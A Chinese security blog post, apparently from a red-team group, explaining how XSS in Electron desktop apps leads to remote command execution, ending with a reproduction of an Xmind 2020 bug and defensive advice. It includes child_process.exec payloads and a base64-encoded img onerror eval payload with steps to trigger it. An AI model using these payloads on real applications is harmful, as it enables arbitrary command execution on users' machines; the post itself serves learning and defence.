【A9】Electron 桌面应用程序 XSS到RCE 的学习

文摘   科技   2023-10-13 10:40   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”



01

背景


某大佬的一个究极0day漏洞引发的学习


02

什么是Electron框架

Electron是一个开源的桌面应用程序开发框架,它允许开发人员使用Web技术(HTML、CSS和JavaScript)构建跨平台的桌面应用程序,是基于Node.js和Chromium项目构建而成。使用Electron,开发人员可以创建具有原生应用程序功能的桌面应用程序,同时利用Web开发技术的便利性。Electron提供了一个运行时环境,结合了Chromium浏览器和Node.js运行时,它允许应用程序在类似于浏览器的窗口中加载和显示Web内容,并且可以访问本地系统资源。
electron框架在桌面应用十分广泛,如

国内:

QQ、钉钉、印象笔记、网易云音乐、有道词典、微信开发者工具、百度网盘、蚁剑等

国外:

Visual Studio Code、Slack、Atom、WordPress Desktop,Github Desktop、Postman、xmind等


03

Electron的进程架构
Electron使用Chromium来完成用户界面的渲染,并通过内置的Node.js提供原生系统功能,例如文件系统和网络访问。
Electron继承了Chromium的多进程架构。每个Electron应用程序都有一个主进程作为入口点,运行在Node.js环境中,可以使用require模块和所有Node.js API。主进程的主要任务是使用BrowserWindow模块创建和管理应用程序的窗口。每个打开的BrowserWindow都会生成一个单独的渲染进程,负责渲染网页内容。渲染进程也具有访问Node.js共享库的能力,但这取决于系统配置。
渲染进程和主进程之间存在隔离,它们通过进程间通信(IPC)进行通信。在XSS攻击中,恶意代码通常运行在渲染进程中。

渲染进程的上下文可以分为两种:preload.js和网页上下文。preload.js的上下文访问权限通常高于网页上下文。

在攻击中,有两种方法可能获取更高的权限:

1、利用渲染进程本身进行RCE:

通过访问Node.js共享库来实现RCE。
利用Chromium的漏洞实现RCE。

2、通过IPC影响主进程进行RCE:

需要主进程提供IPC通信功能,以实现危险方法。
当前执行上下文需要能够访问IPC。

04

Electron核心选项


Electron具有多种安全机制来确保应用程序的安全性,我们可以使用何种思路进行绕过并执行RCE,需取决于Electron选项配置,首先我们来了解一下Electron的几个核心选项:

1、Sandbox

来自Chromium的沙盒特性,将渲染进程限制在沙箱中,限制对大多数系统资源的访问,包括文件读写和新进程启动等。
注意,该选项会随着NodeIntegration的开启而关闭。
Sandbox选项默认从Electron 20开始开启。
开启沙箱后,无法通过Chromium V8的漏洞实现RCE,也无法直接在渲染进程中使用Node.js共享库执行命令。

2、NodeIntegration

控制是否允许网页中的JavaScript直接访问Node.js共享库,包括进程启动和文件加载等功能。
Preload.js中的Node集成始终开启,不受该选项影响。
即使该选项开启,若上下文隔离(Context Isolation)也开启,网页中的JavaScript仍无法访问Node.js共享库。

3、Context Isolation

上下文隔离使Electron的特性,使用与Chromium的Content Scripts技术相同的机制实现。
确保Preload脚本和网页中的JavaScript在独立的上下文环境中运行。
开启后,渲染页面中的JavaScript将无法直接引入Electron和Node.js的模块。
若要在渲染页面中使用这些功能,需配置Preload.js并使用contextBridge将全局接口暴露给渲染页面的脚本。
从Electron 12开始,默认启用上下文隔离。

渲染器的核心选项在main.js 文件内的主进程中配置。如果配置,某些配置将阻止 Electron 应用程序获得 RCE或其他漏洞。

默认情况下,nodeIntegration-false 。如果打开,则允许从渲染器进程访问nods.js 接口。
默认情况下contextIsolation-true。如果打开,则主进程和渲染器进程不会隔离。

preload- 默认为空。

默认情况下,sandbox- false 。它将限制 NodeJS 可以执行的操作。

Node Integration in Workers

默认情况下nodeIntegrationInSubframes-false 
如果nodeIntegration-true,则将允许在Electron 应用程序内的iframe 中加载的网页中使用Node.js API 。
如果nodeIntegration-false,则预加载将加载到 iframe 中

配置示例:


const mainWindowOptions = {  title: 'Discord',  backgroundColor: getBackgroundColor(),  width: DEFAULT_WIDTH,  height: DEFAULT_HEIGHT,  minWidth: MIN_WIDTH,  minHeight: MIN_HEIGHT,  transparent: false,  frame: false,  resizable: true,  show: isVisible,  webPreferences: {    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',    nodeIntegration: false,    contextIsolation: false,    sandbox: false,    nodeIntegrationInSubFrames: false,    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),    nativeWindowOpen: true,    enableRemoteModule: false,    spellcheck: true  }};

05

Electron RCE 的具体实现

RCE:  通过 XSS + nodeIntegration

如果将nodeIntegration设置为on ,则网页的 JavaScript 只需调用 .js 即可轻松使用 Node.js 功能require()。例如,在Windows上执行calc应用程序的方法是:
<script>  require('child_process').exec('calc');  // 或者  top.require('child_process').exec('open /System/Applications/Calculator.app');</script>
如果将nodeIntegration设置为false,也是有一定的方式进行绕过,可以参考下面这位师傅的博客文章

https://blog.doyensec.com/2017/08/03/electron-framework-security.html


RCE: 通过 preload 


这个设置中指示的脚本在渲染器中的其他脚本之前加载,因此它可以无限制地访问 Node API :


new BrowserWindow{  webPreferences: {    nodeIntegration: false,    preload: _path2.default.join(__dirname, 'perload.js'),  }});


因此,该脚本可以将节点特征导出到页面:

typeof require === 'function';window.runCalc = function(){    require('child_process').exec('calc')};
<body>    <script>        typeof require === 'undefined';        runCalc();</script></body>

注:如果contextIsolation为true,这将不起作用。


RCE: 通过 XSS + contextIsolation

由于contextIsolation引入了网页脚本和JavaScript Electron内部代码之间分离的上下文,使每个代码的JavaScript执行不会相互影响。这是消除 RCE 可能性的必要功能。
如果contextIsolation为fales,可以通过下面三种思路来实现RCE(具体大家可以通过示例来学习)

Electron contextIsolation : 通过preload代码进行RCE

示例:https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Electron contextIsolation : 通过 Electron 内部代码进行 RCE

学习视频(英文的):https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=82

Electron contextIsolation: 通过IPC隔离RCE

示例视频:https://www.youtube.com/watch?v=xILfQGkLXQo

RCE: 通过 XSS +  Chromium Nday

Electron 程序如果使用的是较老的 Chromium 且存在Nday RCE漏洞,将有可能通过XSS进行命令执行。
具体案例可以参考下面这篇博客文章:

https://blog.electrovolt.io/posts/discord-rce/

RCE: 通过 shell.openExternal

如果 Electron 桌面应用程序已使用正确的对 nodeIntegration,contextIsolation 进行设置;那么意味着我们很难通过针对主进程的预加载脚本或 Electron 本机代码来实现客户端 RCE。那么如果第三方网站的链接或协议在 Electron JS 应用程序中打开之前没有进行严格的验证,是否有机会执行RCE攻击呢?答案是有机会。
通过在本机应用程序中打开非应用程序特定的链接,Electron 框架使用将用户重定向到浏览器的不安全功能打开它们是相当常见的。
那么Electron应用程序打开链接的逻辑是什么样的呢?可以通过下面的案例了解一下:
每次用户单击链接或打开新窗口时,都会调用以下事件侦听器:


webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {}
桌面应用程序覆盖这些侦听器以实现桌面应用程序自己的业务逻辑。在创建新窗口期间,应用程序会检查导航链接是否应在桌面应用程序的窗口或选项卡中打开,或者是否应在 浏览器中打开。
下面的伪代码示例方便大家理解
通过函数 openInternally来预定义域列表。 


若 openInternally 返回true,则是打开新窗口或者标签;若返回false,则是使用shell.openExternal函数在浏览器打开链接


shell.openExternal函数允许打开给定协议的URL(具体可查看官方文档:https://www.electronjs.org/docs/latest/api/shell#shellopenexternalurl-options),当shell.openExternal与攻击者构造的恶意内容一起使用时,那么就有可能利用它来执行任意命令。

当我们点击链接的时候window.open 函数就会触发"new-window"事件监听器,若该URL不在我们应用程序的域内,那么将会使用shell.openExternal在浏览器中打开,如:

window.open("smb://domain.com")
具体的URL的利用案例,可以参照一下下面这篇文章:

https://benjamin-altpeter.de/shell-openexternal-dangers

所以,在 Electron JS 应用程序中打开之前,应正确验证和检查第三方网站的链接。如果链接协议未设置白名单,即仅限 http:// 或 https://,Electron 应用程序将容易受到RCE 攻击。这种攻击利用 Electron 模型和用户导航机制,将用户从 Electron 应用程序重定向到浏览器。



05
Xmind  XSS导致RCE漏洞

Xmind 2020使用了Electron框架,下面复现一下Xmind由于xss导致rce的漏洞
复现环境:xmind 2020
下载xmind 2020,试用即可。随便创建一个思维导图


将思维导图分支内容修改为xss poc

切换到大纲,光标移到 poc 处按空格即可触发xss



命令执行 pyload
原始paylod部分
require('child_process').exec('将要执行的系统命令',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
对原始payload进行base64编码并添加在下面base64payload部分

<img src=x onerror='eval(new Buffer(`base64payload`,`base64`).toString())'>
以下为执行ipconfig命令对payload


<img src=x onerror='eval(new Buffer(`CnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdpcGNvbmZpZycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsgICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7IH0pOwogCg==`,`base64`).toString())'>/**通过xss漏洞,触发onerror事件,使JavaScript代码中的eval()函数执行由Buffer()内的编码内容,并尝试执行child_process.exec来执行系统命令。由于eval()函数的执行,恶意代码可以绕过Electron渲染进程的沙箱限制,最终执行系统命令。**/
弹窗回显命令执行结果,如图


下面是我理解的漏洞链路:

1、XSS漏洞:应用程序中存在XSS漏洞,由于开发人员对恶意代码的过滤不严,导致可以注入恶意脚本代码到应用程序的用户界面。

2、代码注入:通过XSS漏洞,可以将恶意代码注入到应用程序的渲染进程中。这些恶意代码可以执行任意的客户端脚本。

3、沙盒逃逸:在Electron中,默认情况下,每个渲染进程都运行在沙盒环境中,具有有限的权限,无法直接执行操作系统命令。此时我们能够通过注入恶意代码,成功进行沙盒逃逸,即从渲染进程中脱离出来,获取更高的权限。

4、远程命令执行:一旦攻击者成功进行沙盒逃逸,我们可以利用所获得的权限执行外部命令,包括执行操作系统级别的命令。就可以在受影响的系统上执行任意的命令,导致远程命令执行(RCE)漏洞。


安全建议:

对于electron框架开发的客户端应用,可以进行以下一些措施来做到有效的预防:

•对用户输入进行严格的验证和过滤,确保不会插入恶意脚本进入应用程序的渲染进程。

•在渲染进程和主进程之间建立良好的沙盒隔离,限制渲染进程的权限,并实施最小特权原则。

•对于需要执行外部命令的操作,使用严格的输入验证和参数验证,以防止命令注入攻击。

•定期更新和升级Electron框架,以获取最新的安全修复和补丁。


本人才疏学浅,如有错误之处,恳请各位大佬多多指正!


参考

https://mp.weixin.qq.com/s/E9cBVrIikwDm1X586xl-vw

https://www.electronjs.org/

https://blog.doyensec.com/2017/08/03/electron-framework-security.html

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps

https://benjamin-altpeter.de/shell-openexternal-dangers













A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章